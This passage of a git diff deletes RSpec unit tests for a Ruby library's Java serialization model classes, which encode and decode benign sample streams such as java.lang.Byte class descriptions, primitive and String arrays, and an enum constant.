be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - end - - describe "#encode" do - it "serializes a ClassDesc" do - super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new - super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number') - super_class_desc_new.serial_version = 0x86ac951d0b94e08b - super_class_desc_new.flags = 2 - super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new - super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc.description = super_class_desc_new - - class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new - class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte') - class_desc_new.serial_version = 0x9c4e6084ee50f51c - class_desc_new.flags = 2 - field = Rex::Java::Serialization::Model::Field.new - field.type = 'byte' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value') - class_desc_new.fields << field - class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new - class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - class_desc_new.super_class = super_class_desc - - class_desc.description = class_desc_new - - expect(class_desc.encode.unpack("C*")).to eq(sample.unpack("C*")) - end - end - - describe "#to_s" do - it "prints a sample ClassDesc" do - class_desc.decode(sample_io) - expect(class_desc.to_s).to be_a(String) - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/field_spec.rb b/spec/lib/rex/java/serialization/model/field_spec.rb deleted file mode 100644 index d8e14cd9bc..0000000000 --- a/spec/lib/rex/java/serialization/model/field_spec.rb +++ /dev/null @@ -1,108 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::Field do - subject(:field) do - described_class.new - end - - let(:sample_primitive) { "I\x00\x06number" } - let(:sample_primitive_io) { StringIO.new(sample_primitive) } - let(:sample_object) { "[\x00\x0atest_arrayt\x00\x0b[LEmployee;" } - let(:sample_object_io) { StringIO.new(sample_object) } - - describe ".new" do - it "Rex::Java::Serialization::Model::Field" do - expect(field).to be_a(Rex::Java::Serialization::Model::Field) - end - - it "initializes code with empty string" do - expect(field.type).to be_empty - end - - it "initializes name with nil" do - expect(field.name).to be_nil - end - - it "initializes field_type with nil" do - expect(field.field_type).to be_nil - end - end - - describe "#encode" do - context "when empty field" do - it { expect { field.encode }.to raise_error(Rex::Java::Serialization::EncodeError) } - end - - context "when primitive field" do - it do - field.type = 'int' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'number') - expect(field.encode).to eq(sample_primitive) - end - end - - context "when object field" do - it do - field.type = 'array' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'test_array') - field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[LEmployee;') - expect(field.encode).to eq(sample_object) - end - end - end - - describe "#decode" do - context "when stream contains a primitive field" do - it "returns a Rex::Java::Serialization::Model::Field" do - expect(field.decode(sample_primitive_io)).to be_a(Rex::Java::Serialization::Model::Field) - end - - it "deserializes field type" do - field.decode(sample_primitive_io) - expect(field.type).to eq('int') - end - - it "deserializes field name as Utf" do - field.decode(sample_primitive_io) - expect(field.name.contents).to eq('number') - end - end - - context "when stream contains an object field" do - it "returns a Rex::Java::Serialization::Model::Field" do - expect(field.decode(sample_object_io)).to be_a(Rex::Java::Serialization::Model::Field) - end - - it "deserializes field type" do - field.decode(sample_object_io) - expect(field.type).to eq('array') - end - - it "deserializes field name" do - field.decode(sample_object_io) - expect(field.name.contents).to eq('test_array') - end - - it "deserializes field_type string" do - field.decode(sample_object_io) - expect(field.field_type.contents).to eq('[LEmployee;') - end - end - end - - describe "#to_s" do - it "prints an stream containing a primitive field" do - field.decode(sample_primitive_io) - expect(field.to_s).to eq('number (int)') - end - - it "prints an stream containing an object field" do - field.decode(sample_object_io) - expect(field.to_s).to eq('test_array ([LEmployee;)') - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/long_utf_spec.rb b/spec/lib/rex/java/serialization/model/long_utf_spec.rb deleted file mode 100644 index cd2891aabc..0000000000 --- a/spec/lib/rex/java/serialization/model/long_utf_spec.rb +++ /dev/null @@ -1,107 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::LongUtf do - subject(:long_utf) do - described_class.new - end - - let(:sample_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Number" } - let(:sample_utf_io) { StringIO.new(sample_utf) } - let(:empty_utf) { "\x00\x00\x00\x00\x00\x00\x00\x00" } - let(:empty_utf_io) { StringIO.new(empty_utf) } - let(:incomplete_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Numb" } - let(:incomplete_utf_io) { StringIO.new(incomplete_utf) } - let(:empty_io) { StringIO.new('') } - - describe ".new" do - it "Rex::Java::Serialization::Model::LongUtf" do - expect(long_utf).to be_a(Rex::Java::Serialization::Model::LongUtf) - end - - it "initializes length to 0" do - expect(long_utf.length).to eq(0) - end - - it "initializes contents with empty string" do - expect(long_utf.contents).to be_empty - end - end - - describe "#encode" do - context "when empty long_utf" do - it { expect(long_utf.encode).to eq(empty_utf) } - end - - context "when filled utf" do - it do - long_utf.length = 16 - long_utf.contents = 'java.lang.Number' - expect(long_utf.encode).to eq(sample_utf) - end - end - end - - describe "#decode" do - context "when stream contains empty string" do - it "raises Rex::Java::Serialization::DecodeError" do - expect { long_utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains empty long_utf" do - it "returns a Rex::Java::Serialization::Model::LongUtf" do - expect(long_utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf) - end - - it "sets length to 0" do - long_utf.decode(empty_utf_io) - expect(long_utf.length).to eq(0) - end - - it "sets contents to empty string" do - long_utf.decode(empty_utf_io) - expect(long_utf.contents).to be_empty - end - end - - context "when stream contains incomplete long_utf" do - it "returns nil" do - expect { long_utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains correct long_utf" do - - it "returns a Rex::Java::Serialization::Model::LongUtf" do - expect(long_utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf) - end - - it "sets length to 0" do - long_utf.decode(sample_utf_io) - expect(long_utf.length).to eq(16) - end - - it "sets contents to sample string" do - long_utf.decode(sample_utf_io) - expect(long_utf.contents).to eq('java.lang.Number') - end - end - - describe "#to_s" do - it "prints an stream containing a sample long utf" do - long_utf.decode(sample_utf_io) - expect(long_utf.to_s).to eq('java.lang.Number') - end - - it "prints an stream containing an empty long utf" do - long_utf.decode(empty_utf_io) - expect(long_utf.to_s).to eq('') - end - end - end - -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_array_spec.rb b/spec/lib/rex/java/serialization/model/new_array_spec.rb deleted file mode 100644 index 16d1c28059..0000000000 --- a/spec/lib/rex/java/serialization/model/new_array_spec.rb +++ /dev/null @@ -1,469 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::NewArray do - subject(:new_array) do - described_class.new - end - - let(:boolean_array) do - "\x72\x00\x02\x5b\x5a\x57\x8f\x20" + - "\x39\x14\xb8\x5d\xe2\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x0a\x01\x00" + - "\x01\x01\x01\x01\x01\x01\x01\x00" - end - let(:boolean_array_io) { StringIO.new(boolean_array) } - - let(:byte_array) do - "\x72\x00\x02\x5b\x42\xac\xf3\x17" + - "\xf8\x06\x08\x54\xe0\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\xec\x41" - end - let(:byte_array_io) { StringIO.new(byte_array) } - - let(:char_array) do - "\x72\x00\x02\x5b\x43\xb0\x26\x66" + - "\xb0\xe2\x5d\x84\xac\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\x00\x61" + - "\x00\x62" - end - let(:char_array_io) { StringIO.new(char_array) } - - let(:short_array) do - "\x72\x00\x02\x5b\x53\xef\x83\x2e" + - "\x06\xe5\x5d\xb0\xfa\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\xff\xec" + - "\x00\x41" - end - let(:short_array_io) { StringIO.new(short_array) } - - let(:double_array) do - "\x72\x00\x02\x5b\x44\x3e\xa6\x8c" + - "\x14\xab\x63\x5a\x1e\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\x3f\xd0" + - "\x00\x00\x00\x00\x00\x00\x3f\xca" + - "\xe1\x47\xae\x14\x7a\xe1" - end - let(:double_array_io) { StringIO.new(double_array) } - - let(:float_array) do - "\x72\x00\x02\x5b\x46\x0b\x9c\x81" + - "\x89\x22\xe0\x0c\x42\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\x3f\x80" + - "\x00\x00\x40\x00\x00\x00" - end - let(:float_array_io) { StringIO.new(float_array) } - - let(:int_array) do - "\x72\x00\x02\x5b\x49\x4d\xba\x60" + - "\x26\x76\xea\xb2\xa5\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\xff\xff" + - "\xff\xec\x00\x00\x00\x41" - end - let(:int_array_io) { StringIO.new(int_array) } - - let(:long_array) do - "\x72\x00\x02\x5b\x4a\x78\x20\x04" + - "\xb5\x12\xb1\x75\x93\x02\x00\x00" + - "\x78\x70\x00\x00\x00\x02\xff\xff" + - "\xff\xff\xff\xff\xff\xec\x00\x00" + - "\x00\x00\x00\x00\x00\x41" - end - let(:long_array_io) { StringIO.new(long_array) } - - let(:string_array) do - "\x72\x00\x13\x5b\x4c\x6a\x61\x76" + - "\x61\x2e\x6c\x61\x6e\x67\x2e\x53" + - "\x74\x72\x69\x6e\x67\x3b\xad\xd2" + - "\x56\xe7\xe9\x1d\x7b\x47\x02\x00" + - "\x00\x78\x70\x00\x00\x00\x01\x74" + - "\x00\x03\x6d\x73\x66" - end - let(:string_array_io) { StringIO.new(string_array) } - - describe ".new" do - it "Rex::Java::Serialization::Model::NewArray" do - expect(new_array).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "initializes array_description with nil" do - expect(new_array.array_description).to be_nil - end - - it "initializes type with an empty String" do - expect(new_array.type).to be_empty - end - - it "initializes values with an empty Array" do - expect(new_array.values).to be_empty - end - end - - describe "#decode" do - - context "when boolean Array" do - it "deserializes Array" do - expect(new_array.decode(boolean_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(boolean_array_io) - expect(new_array.type).to eq('boolean') - end - - it "deserializes values correctly" do - new_array.decode(boolean_array_io) - expect(new_array.values).to eq([1, 0, 1, 1, 1, 1, 1, 1, 1, 0]) - end - end - - context "when byte Array" do - it "deserializes Array" do - expect(new_array.decode(byte_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(byte_array_io) - expect(new_array.type).to eq('byte') - end - - it "deserializes values correctly" do - new_array.decode(byte_array_io) - expect(new_array.values).to eq([-20, 65]) - end - end - - context "when char Array" do - it "deserializes Array" do - expect(new_array.decode(char_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(char_array_io) - expect(new_array.type).to eq('char') - end - - it "deserializes values correctly" do - new_array.decode(char_array_io) - expect(new_array.values).to eq([97, 98]) - end - end - - context "when short Array" do - it "deserializes Array" do - expect(new_array.decode(short_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(short_array_io) - expect(new_array.type).to eq('short') - end - - it "deserializes values correctly" do - new_array.decode(short_array_io) - expect(new_array.values).to eq([-20, 65]) - end - end - - context "when double Array" do - it "deserializes Array" do - expect(new_array.decode(double_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(double_array_io) - expect(new_array.type).to eq('double') - end - - it "deserializes values correctly" do - new_array.decode(double_array_io) - expect(new_array.values).to eq([0.25, 0.21]) - end - end - - context "when float Array" do - it "deserializes a float Array" do - expect(new_array.decode(float_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(float_array_io) - expect(new_array.type).to eq('float') - end - - it "deserializes values correctly" do - new_array.decode(float_array_io) - expect(new_array.values).to eq([1.0, 2.0]) - end - end - - context "when int Array" do - it "deserializes Array" do - expect(new_array.decode(int_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(int_array_io) - expect(new_array.type).to eq('int') - end - - it "deserializes values correctly" do - new_array.decode(int_array_io) - expect(new_array.values).to eq([-20, 65]) - end - end - - context "when long Array" do - it "deserializes Array" do - expect(new_array.decode(long_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(long_array_io) - expect(new_array.type).to eq('long') - end - - it "deserializes values correctly" do - new_array.decode(long_array_io) - expect(new_array.values).to eq([-20, 65]) - end - end - - context "when Strings (Objects) array" do - it "deserializes the array" do - expect(new_array.decode(string_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "deserializes type correctly" do - new_array.decode(string_array_io) - expect(new_array.type).to eq('java.lang.String;') - end - - it "deserializes number of members correctly" do - new_array.decode(string_array_io) - expect(new_array.values.length).to eq(1) - end - - it "deserializes the members correctly" do - new_array.decode(string_array_io) - expect(new_array.values[0].contents).to eq('msf') - end - end - - end - - describe "#encode" do - it "serializes a boolean Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Z') - new_class_desc.serial_version = 0x578f203914b85de2 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'boolean' - new_array.values = [1, 0, 1, 1, 1, 1, 1, 1, 1, 0] - - expect(new_array.encode.unpack("C*")).to eq(boolean_array.unpack("C*")) - end - - it "serializes a byte Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B') - new_class_desc.serial_version = 0xacf317f8060854e0 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'byte' - new_array.values = [-20, 65] - - expect(new_array.encode.unpack("C*")).to eq(byte_array.unpack("C*")) - end - - it "serializes a char Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C') - new_class_desc.serial_version = 0xb02666b0e25d84ac - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'char' - new_array.values = [97, 98] - - expect(new_array.encode.unpack("C*")).to eq(char_array.unpack("C*")) - end - - it "serializes a short Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[S') - new_class_desc.serial_version = 0xef832e06e55db0fa - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'short' - new_array.values = [-20, 65] - - expect(new_array.encode.unpack("C*")).to eq(short_array.unpack("C*")) - end - - it "serializes a double Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[D') - new_class_desc.serial_version = 0x3ea68c14ab635a1e - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'double' - new_array.values = [0.25, 0.21] - - expect(new_array.encode.unpack("C*")).to eq(double_array.unpack("C*")) - end - - it "serializes a float Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[F') - new_class_desc.serial_version = 0xb9c818922e00c42 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'float' - new_array.values = [1.0, 2.0] - - expect(new_array.encode.unpack("C*")).to eq(float_array.unpack("C*")) - end - - it "serializes a int Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[I') - new_class_desc.serial_version = 0x4dba602676eab2a5 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'int' - new_array.values = [-20, 65] - - expect(new_array.encode.unpack("C*")).to eq(int_array.unpack("C*")) - end - - it "serializes a long Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[J') - new_class_desc.serial_version = 0x782004b512b17593 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'long' - new_array.values = [-20, 65] - - expect(new_array.encode.unpack("C*")).to eq(long_array.unpack("C*")) - end - - it "serializes a String (Objects) Array" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') - new_class_desc.serial_version = 0xadd256e7e91d7b47 - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'java.lang.String;' - new_array.values = [ Rex::Java::Serialization::Model::Utf.new(nil, 'msf') ] - - expect(new_array.encode.unpack("C*")).to eq(string_array.unpack("C*")) - end - end - - describe "#to_s" do - it "prints a boolean array stream" do - new_array.decode(boolean_array_io) - expect(new_array.to_s).to eq('boolean, ["1", "0", "1", "1", "1", "1", "1", "1", "1", "0"]') - end - - it "prints a byte array stream" do - new_array.decode(byte_array_io) - expect(new_array.to_s).to eq('byte, ["-20", "65"]') - end - - it "prints a char array stream" do - new_array.decode(char_array_io) - expect(new_array.to_s).to eq('char, ["97", "98"]') - end - - it "prints a short array stream" do - new_array.decode(short_array_io) - expect(new_array.to_s).to eq('short, ["-20", "65"]') - end - - it "prints a double array stream" do - new_array.decode(double_array_io) - expect(new_array.to_s).to eq('double, ["0.25", "0.21"]') - end - - it "prints a float array stream" do - new_array.decode(float_array_io) - expect(new_array.to_s).to eq('float, ["1.0", "2.0"]') - end - - it "prints a int array stream" do - new_array.decode(int_array_io) - expect(new_array.to_s).to eq('int, ["-20", "65"]') - end - - it "prints a long array stream" do - new_array.decode(long_array_io) - expect(new_array.to_s).to eq('long, ["-20", "65"]') - end - - it "prints a string array stream" do - new_array.decode(string_array_io) - expect(new_array.to_s).to eq('java.lang.String;, ["msf"]') - end - end - -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb b/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb deleted file mode 100644 index f3b5180d4c..0000000000 --- a/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb +++ /dev/null @@ -1,143 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::NewClassDesc do - subject(:class_desc_new) do - described_class.new - end - - let(:sample) do - "\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" + - "\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" + - "\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" + - "\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" + - "\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70" - end - - let(:sample_io) { StringIO.new(sample) } - - describe ".new" do - it "Rex::Java::Serialization::Model::NewClassDesc" do - expect(class_desc_new).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - - it "initializes class_name with nil" do - expect(class_desc_new.class_name).to be_nil - end - - it "initializes serial_version with 0" do - expect(class_desc_new.serial_version).to eq(0) - end - - it "initializes flags with 0" do - expect(class_desc_new.flags).to eq(0) - end - - it "initializes fields with empty Array" do - expect(class_desc_new.fields).to be_empty - end - - it "initializes class_annotation with nil" do - expect(class_desc_new.class_annotation).to be_nil - end - - it "initializes super_class with nil" do - expect(class_desc_new.super_class).to be_nil - end - end - - describe "#decode" do - it "returns a Rex::Java::Serialization::Model::NewClassDesc" do - expect(class_desc_new.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - - it "deserializes class_name as Utf" do - class_desc_new.decode(sample_io) - expect(class_desc_new.class_name).to be_a(Rex::Java::Serialization::Model::Utf) - end - - it "deserializes class_name contents correctly" do - class_desc_new.decode(sample_io) - expect(class_desc_new.class_name.contents).to eq('java.lang.Byte') - end - - it "deserializes serial_version correctly" do - class_desc_new.decode(sample_io) - expect(class_desc_new.serial_version).to eq(0x9c4e6084ee50f51c) - end - - it "deserializes flags correctly" do - class_desc_new.decode(sample_io) - expect(class_desc_new.flags).to eq(2) - end - - it "deserializes fields" do - class_desc_new.decode(sample_io) - expect(class_desc_new.fields.length).to eq(1) - end - - it "deserializes fields contents correctly" do - class_desc_new.decode(sample_io) - expect(class_desc_new.fields[0].type).to eq('byte') - end - - it "deserializes class annotation correctly" do - class_desc_new.decode(sample_io) - expect(class_desc_new.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation) - end - - it "deserializes class annotation contents" do - class_desc_new.decode(sample_io) - expect(class_desc_new.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData) - end - - it "deserializes super_class" do - class_desc_new.decode(sample_io) - expect(class_desc_new.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc) - end - - it "deserializes super class description" do - class_desc_new.decode(sample_io) - expect(class_desc_new.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - end - - describe "#encode" do - it "serializes a NewClassDesc" do - super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new - super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number') - super_class_desc_new.serial_version = 0x86ac951d0b94e08b - super_class_desc_new.flags = 2 - super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new - super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc.description = super_class_desc_new - - class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte') - class_desc_new.serial_version = 0x9c4e6084ee50f51c - class_desc_new.flags = 2 - field = Rex::Java::Serialization::Model::Field.new - field.type = 'byte' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value') - class_desc_new.fields << field - class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new - class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - class_desc_new.super_class = super_class_desc - - expect(class_desc_new.encode.unpack("C*")).to eq(sample.unpack("C*")) - end - end - - describe "#to_s" do - it "prints a sample NewClassDesc stream" do - class_desc_new.decode(sample_io) - expect(class_desc_new.to_s).to eq('java.lang.Byte, [ value (byte) ], @super_class: java.lang.Number') - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_enum_spec.rb b/spec/lib/rex/java/serialization/model/new_enum_spec.rb deleted file mode 100644 index fd91348cc8..0000000000 --- a/spec/lib/rex/java/serialization/model/new_enum_spec.rb +++ /dev/null @@ -1,83 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::NewEnum do - - subject(:new_enum) do - described_class.new - end - - let(:sample_enum) do - "\x72\x00\x09\x45\x6e\x75\x6d\x73" + - "\x24\x44\x61\x79\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x12\x00\x00\x78" + - "\x72\x00\x0e\x6a\x61\x76\x61\x2e" + - "\x6c\x61\x6e\x67\x2e\x45\x6e\x75" + - "\x6d\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x12\x00\x00\x78\x70\x74\x00" + - "\x06\x53\x55\x4e\x44\x41\x59" - end - - let(:sample_enum_io) { StringIO.new(sample_enum) } - - describe ".new" do - it "Rex::Java::Serialization::Model::NewEnum" do - expect(new_enum).to be_a(Rex::Java::Serialization::Model::NewEnum) - end - - it "initializes enum_description with nil" do - expect(new_enum.enum_description).to be_nil - end - - it "initializes constant_name with nil" do - expect(new_enum.constant_name).to be_nil - end - end - - describe "#decode" do - it "deserializes an Enum" do - expect(new_enum.decode(sample_enum_io)).to be_a(Rex::Java::Serialization::Model::NewEnum) - end - - it "deserializes the constant_name correctly" do - new_enum.decode(sample_enum_io) - expect(new_enum.constant_name.contents).to eq('SUNDAY') - end - end - - describe "#encode" do - it "serializes an Enum" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Enums$Day') - new_class_desc.serial_version = 0 - new_class_desc.flags = 18 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.super_class.description.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Enum') - new_class_desc.super_class.description.serial_version = 0 - new_class_desc.super_class.description.flags = 18 - new_class_desc.super_class.description.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.super_class.description.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class.description.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_enum.enum_description = Rex::Java::Serialization::Model::ClassDesc.new - new_enum.enum_description.description = new_class_desc - new_enum.constant_name = Rex::Java::Serialization::Model::Utf.new(nil, 'SUNDAY') - - expect(new_enum.encode.unpack("C*")).to eq(sample_enum.unpack("C*")) - end - end - - describe "#to_s" do - it "prints a sample NewEnum stream" do - new_enum.decode(sample_enum_io) - expect(new_enum.to_s).to eq('SUNDAY') - end - end -end \ No 